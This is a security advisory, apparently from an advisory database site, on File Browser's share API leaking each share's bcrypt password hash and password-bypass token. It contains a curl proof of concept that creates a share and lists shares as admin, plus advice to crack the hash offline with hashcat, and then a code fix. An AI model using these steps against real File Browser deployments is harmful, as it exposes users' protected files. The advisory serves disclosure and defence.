Go · github.com/filebrowser/filebrowser/v2
File Browser: Share API exposes the password hash and bypass token
When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password_hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password_hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.
1. The Link struct serializes both secrets to JSON (share/share.go:10-19)
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed
// Token is only set when PasswordHash is set; it bypasses the password.
Token string `json:"token,omitempty"` // line 19, bypass token exposed
}
omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.
2. The share handlers return the full struct through unfiltered json.Marshal
sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password_hash and token, reaches the client.
3. Administrators receive every user's secrets (http/share.go:36)
s, err = d.store.Share.All() // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s) // including each share's password_hash and token
An admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.
Tested against filebrowser/filebrowser:v2.63.15.
Attack Vector: read the bcrypt hash and bypass token from the share API:
#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090
#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
-d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'
#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"
The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.
Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password_hash and the 128-character bypass token:
POST /api/share/user1/readme.txt -> 200
GET /api/shares -> 200
{
"hash": "yy9159Cs",
"path": "/user1/readme.txt",
"userID": 1,
"expire": 1781758642,
"password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
"token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}
The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.
token is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.GET /api/shares as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:
// share/share.go
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"-" storm:"index"` // never serialize
Token string `json:"-"` // never serialize in list responses
}
PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.